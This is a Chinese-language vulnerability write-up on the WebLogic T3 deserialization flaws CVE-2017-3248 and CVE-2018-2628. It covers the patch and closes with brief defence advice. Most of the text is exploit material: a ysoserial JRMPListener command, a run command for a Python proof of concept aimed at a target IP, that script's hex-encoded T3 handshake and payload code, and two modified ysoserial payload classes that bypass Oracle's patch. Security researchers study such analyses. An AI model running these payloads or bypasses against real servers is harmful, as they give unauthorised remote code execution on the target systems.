weblogic漏洞分析之CVE-2017-3248 & CVE-2018-2628
字数 779 2025-08-05 00:15:46
WebLogic反序列化漏洞分析：CVE-2017-3248 & CVE-2018-2628
漏洞概述
这两个漏洞都是WebLogic中的Java反序列化漏洞，CVE-2018-2628实际上是CVE-2017-3248的绕过版本。攻击者可以通过T3协议发送恶意序列化数据，触发WebLogic的反序列化操作，最终实现远程代码执行。
漏洞原理
攻击流程
- 攻击者开启JRMP服务端
- 利用T3协议发送payload使WebLogic反序列化后，开启JRMP客户端并连接攻击者的服务端
- 服务端发送恶意exp给客户端，客户端上的DGC接收到响应即会反序列化执行恶意代码
关键调用链
readObject:313, AnnotationInvocationHandler {sun.reflect.annotation}
invoke0:-1, NativeMethodAccessorImpl {sun.reflect}
invoke:39, NativeMethodAccessorImpl {sun.reflect}
invoke:25, DelegatingMethodAccessorImpl {sun.reflect}
invoke:597, Method {java.lang.reflect}
invokeReadObject:969, ObjectStreamClass {java.io}
readSerialData:1871, ObjectInputStream {java.io}
readOrdinaryObject:1775, ObjectInputStream {java.io}
readObject0:1327, ObjectInputStream {java.io}
defaultReadFields:1969, ObjectInputStream {java.io}
readSerialData:1893, ObjectInputStream {java.io}
readOrdinaryObject:1775, ObjectInputStream {java.io}
readObject0:1327, ObjectInputStream {java.io}
readObject:349, ObjectInputStream {java.io}
executeCall:225, StreamRemoteCall {sun.rmi.transport}
invoke:359, UnicastRef {sun.rmi.server}
dirty:-1, DGCImpl_Stub {sun.rmi.transport}
makeDirtyCall:342, DGCClient$EndpointEntry {sun.rmi.transport}
registerRefs:285, DGCClient$EndpointEntry {sun.rmi.transport}
registerRefs:121, DGCClient {sun.rmi.transport}
read:294, LiveRef {sun.rmi.transport}
readExternal:473, UnicastRef {sun.rmi.server}
readObject:438, RemoteObject {java.rmi.server}
漏洞复现
环境准备
- WebLogic服务器
- ysoserial工具
- Python 2.7环境
复现步骤
- 开启JRMP服务端监听
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/success"
- 利用T3协议发送payload
python2 2017-3248.py 192.168.202.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.202.1 9999 JRMPClient
POC代码分析
POC主要包含以下几个关键部分：
- T3握手协议
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')
- 构建T3请求对象
def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1, data2, data3, data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length: %d' % (len(sock.recv(2048))))
- 发送payload对象数据
def send_payload_objdata(sock, data):
payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload += data
payload += 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s' % ('{:08x}'.format(len(payload)/2 + 4), payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
补丁分析
WebLogic通过重写resolveProxyClass方法，对RMI接口类型进行了判断，如果发现是java.rmi.registry.Registry则抛出错误：
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
绕过方式
方法1：取消代理proxy
通过取消代理proxy，不走resolveProxyClass，而是走resolveClass来绕过。修改ysoserial代码，去掉Proxy部分：
package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random;
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Registry> {
public Object getObject(final String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if(sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt());
// RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
}
方法2：寻找Registry的替代类
使用java.rmi.activation.Activator替代java.rmi.registry.Registry生成payload：
package ysoserial.payloads;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
public Object getObject(final String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if(sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt());
// RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] { Activator.class }, obj);
return proxy;
}
}
防御建议
- 及时更新WebLogic到最新版本
- 限制T3协议的外部访问
- 使用WebLogic提供的反序列化过滤器
- 监控系统日志，及时发现异常行为